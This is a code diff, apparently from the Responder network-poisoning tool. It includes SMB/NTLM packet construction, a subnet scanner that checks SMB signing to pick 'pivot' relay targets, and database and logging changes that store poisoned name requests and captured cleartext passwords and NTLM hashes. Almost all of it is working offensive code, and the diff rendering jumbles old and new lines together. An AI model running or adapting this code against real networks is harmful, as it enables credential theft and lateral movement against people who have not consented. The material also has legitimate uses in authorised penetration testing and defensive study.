ageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])
CalculateNTChallengeOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])
## Packet len
self.fields["andxoffset"] = struct.pack("<i", len(CompletePacketLen)+32)[:2]
##Buff Len
self.fields["securitybloblength"] = struct.pack("<i", len(SecurityBlobLen))[:2]
##Complete Buff Len
self.fields["bcc1"] = struct.pack("<i", len(SecurityBlobBCC))[:2]
## Guest len check
self.fields["ApplicationHeaderLen"] = struct.pack("<i", len(SecurityBlobLen)-2)[:1]
self.fields["AsnSecMechLen"] = struct.pack("<i", len(SecurityBlobLen)-4)[:1]
self.fields["ChoosedTagLen"] = struct.pack("<i", len(SecurityBlobLen)-6)[:1]
self.fields["ChoosedTag1StrLen"] = struct.pack("<i", len(SecurityBlobLen)-8)[:1]
##### Username Offset Calculation..######
self.fields["NLMPAuthMsgNtUserNameBuffOffset"] = struct.pack("<i", len(CalculateUserOffset))
self.fields["NLMPAuthMsgNtUserNameLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
self.fields["NLMPAuthMsgNtUserNameMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
##### Domain Offset Calculation..######
self.fields["NLMPAuthMsgNtDomainNameBuffOffset"] = struct.pack("<i", len(CalculateDomainOffset))
self.fields["NLMPAuthMsgNtDomainNameLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
self.fields["NLMPAuthMsgNtDomainNameMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
##### Workstation Offset Calculation..######
self.fields["NLMPAuthMsgNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateWorkstationOffset))
self.fields["NLMPAuthMsgNtWorkstationLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
self.fields["NLMPAuthMsgNtWorkstationMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
##### NT Challenge Offset Calculation..######
self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"] = struct.pack("<i", len(CalculateNTChallengeOffset))
self.fields["NLMPAuthMsgNtChallengeResponseLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
##### LM Challenge Offset Calculation..######
self.fields["NLMPAuthMsgLMChallengeBuffOffset"] = struct.pack("<i", len(CalculateLMChallengeOffset))
self.fields["NLMPAuthMsgLMChallengeLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
self.fields["NLMPAuthMsgLMChallengeMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
######################################################################################################
class SMBTreeConnectData(Packet):
fields = OrderedDict([
("Wordcount", "\x04"),
("AndXCommand", "\xff"),
("Reserved","\x00" ),
("Andxoffset", "\x5a\x00"),
("Flags","\x08\x00"),
("PasswdLen", "\x01\x00"),
("Bcc","\x2f\x00"),
("Passwd", "\x00"),
("Path",""),
("PathTerminator","\x00\x00"),
("Service","?????"),
("Terminator", "\x00"),
])
def calculate(self):
##Convert Path to Unicode first before any Len calc.
self.fields["Path"] = self.fields["Path"].encode('utf-16le')
##Passwd Len
self.fields["PasswdLen"] = struct.pack("<i", len(str(self.fields["Passwd"])))[:2]
##Packet len
CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Andxoffset"] = struct.pack("<i", len(CompletePacket)+32)[:2]
##Bcc Buff Len
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
class SMBTransRAPData(Packet):
fields = OrderedDict([
("Wordcount", "\x10"),
("TotalParamCount", "\x00\x00"),
("TotalDataCount","\x00\x00" ),
("MaxParamCount", "\xff\xff"),
("MaxDataCount","\xff\xff"),
("MaxSetupCount", "\x00"),
("Reserved","\x00\x00"),
("Flags", "\x00"),
("Timeout","\x00\x00\x00\x00"),
("Reserved1","\x00\x00"),
("ParamCount","\x00\x00"),
("ParamOffset", "\x5c\x00"),
("DataCount", "\x00\x00"),
("DataOffset", "\x54\x00"),
("SetupCount", "\x02"),
("Reserved2", "\x00"),
("PeekNamedPipe", "\x23\x00"),
("FID", "\x00\x00"),
("Bcc", "\x47\x00"),
("Terminator", "\x00"),
("PipeName", "\\PIPE\\"),
("PipeTerminator","\x00\x00"),
("Data", ""),
])
def calculate(self):
#Padding
if len(str(self.fields["Data"]))%2==0:
self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
else:
self.fields["PipeTerminator"] = "\x00\x00\x00"
##Convert Path to Unicode first before any Len calc.
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
##Data Len
self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
##Packet len
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["PeekNamedPipe"])+str(self.fields["FID"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
##Bcc Buff Len
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]

View File

@@ -15,11 +15,15 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,sys,socket,struct import re,sys,socket,struct
import multiprocessing
from socket import * from socket import *
from time import sleep
from odict import OrderedDict from odict import OrderedDict
__version__ = "0.3" __version__ = "0.7"
Timeout = 0.5
Timeout = 2
class Packet(): class Packet():
fields = OrderedDict([ fields = OrderedDict([
]) ])
@@ -139,15 +143,22 @@ def dtoa(d):
def OsNameClientVersion(data): def OsNameClientVersion(data):
try: try:
length = struct.unpack('<H',data[43:45])[0] length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) if length > 255:
return OsVersion, ClientVersion OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
if length <= 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except: except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def GetHostnameAndDomainName(data): def GetHostnameAndDomainName(data):
try: try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]]) DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
#If max length domain name, there won't be a \x00\x00\x00 delineator to split on
if Hostname == '':
DomainJoined = data[81:110].replace('\x00','')
Hostname = data[113:].replace('\x00','')
return Hostname, DomainJoined return Hostname, DomainJoined
except: except:
return "Could not get Hostname.", "Could not get Domain joined" return "Could not get Hostname.", "Could not get Domain joined"
@@ -205,6 +216,27 @@ def SmbFinger(Host):
return signing, OsVersion, ClientVersion return signing, OsVersion, ClientVersion
except: except:
pass pass
def SmbFingerSigning(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect((Host, 445))
except:
return False
try:
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
signing = IsSigningEnabled(data)
return signing
except:
pass
################## ##################
#run it #run it
def ShowResults(Host): def ShowResults(Host):
@@ -244,6 +276,43 @@ def ShowSmallResults(Host):
pass pass
def ShowScanSmallResults(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
return False
try:
Hostname, DomainJoined = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
Message ="['%s', Os:'%s', Domain:'%s', Signing:'%s']"%(Host[0], OsVer, DomainJoined, Signing)
print Message
except:
pass
def ShowSigning(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect((Host, 445))
except:
print "[Pivot Verification Failed]: Target host is down"
return True
try:
Signing = SmbFingerSigning(Host)
if Signing == True:
print "[Pivot Verification Failed]:Signing is enabled. Choose another host."
return True
else:
return False
except:
pass
def RunFinger(Host): def RunFinger(Host):
m = re.search("/", str(Host)) m = re.search("/", str(Host))
if m : if m :
@@ -255,3 +324,23 @@ def RunFinger(Host):
else: else:
ShowResults((Host,445)) ShowResults((Host,445))
def RunPivotScan(Host, CurrentIP):
m = re.search("/", str(Host))
if m :
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
threads = []
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
if CurrentIP == host:
pass
else:
p = multiprocessing.Process(target=ShowScanSmallResults, args=((host,445),))
threads.append(p)
p.start()
sleep(1)
else:
ShowScanSmallResults((Host,445))

View File

@@ -26,7 +26,7 @@ import datetime
def RandomChallenge(): def RandomChallenge():
if settings.Config.NumChal == "random": if settings.Config.NumChal == "random":
from random import getrandbits from random import getrandbits
NumChal = '%0x' % getrandbits(16 * 4) NumChal = '%016x' % getrandbits(16 * 4)
Challenge = '' Challenge = ''
for i in range(0, len(NumChal),2): for i in range(0, len(NumChal),2):
Challenge += NumChal[i:i+2].decode("hex") Challenge += NumChal[i:i+2].decode("hex")
@@ -146,33 +146,39 @@ def DumpConfig(outfile, data):
with open(outfile,"a") as dump: with open(outfile,"a") as dump:
dump.write(data + '\n') dump.write(data + '\n')
def SaveToDb(result): def CreateResponderDb():
# Creating the DB if it doesn't exist
if not os.path.exists(settings.Config.DatabaseFile): if not os.path.exists(settings.Config.DatabaseFile):
cursor = sqlite3.connect(settings.Config.DatabaseFile) cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))') cursor.execute('CREATE TABLE Poisoned (timestamp TEXT, Poisoner TEXT, SentToIp TEXT, ForName TEXT, AnalyzeMode TEXT)')
cursor.commit()
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
cursor.commit() cursor.commit()
cursor.close() cursor.close()
def SaveToDb(result):
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]: for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result: if not k in result:
result[k] = '' result[k] = ''
if len(result['user']) < 2: if len(result['user']) < 2:
print color('[*] Skipping one character username: %s' % result['user'], 3, 1)
text("[*] Skipping one character username: %s" % result['user'])
return return
if len(result['cleartext']):
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
else:
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
cursor = sqlite3.connect(settings.Config.DatabaseFile) cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
if len(result['cleartext']):
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?) AND cleartext=?", (result['module'], result['type'], result['client'], result['user'], result['cleartext']))
else:
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
(count,) = res.fetchone() (count,) = res.fetchone()
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
if not count: if not count:
with open(logfile,"a") as outf: with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
@@ -215,6 +221,9 @@ def SaveToDb(result):
if settings.Config.AutoIgnore and not result['user'].endswith('$'): if settings.Config.AutoIgnore and not result['user'].endswith('$'):
settings.Config.AutoIgnoreList.append(result['client']) settings.Config.AutoIgnoreList.append(result['client'])
print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1) print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1)
elif len(result['cleartext']):
print color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1)
text('[*] Skipping previously captured cleartext password for %s' % result['user'])
else: else:
print color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1) print color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1)
text('[*] Skipping previously captured hash for %s' % result['user']) text('[*] Skipping previously captured hash for %s' % result['user'])
@@ -222,6 +231,23 @@ def SaveToDb(result):
cursor.commit() cursor.commit()
cursor.close() cursor.close()
def SavePoisonersToDb(result):
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
if not k in result:
result[k] = ''
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
cursor.commit()
cursor.close()
def Parse_IPV6_Addr(data): def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] =="\x1c": if data[len(data)-4:len(data)][1] =="\x1c":
@@ -273,7 +299,7 @@ def banner():
print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__ print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__
print "" print ""
print " Author: Laurent Gaffie (laurent.gaffie@gmail.com)" print " Author: Laurent Gaffie (laurent.gaffie@gmail.com)"
print " To kill this script hit CRTL-C" print " To kill this script hit CTRL-C"
print "" print ""
@@ -302,6 +328,7 @@ def StartupMessage():
print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled) print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)
print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled) print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)
print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled) print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)
print ' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)
print "" print ""
print color("[+] ", 2, 1) + "HTTP Options:" print color("[+] ", 2, 1) + "HTTP Options:"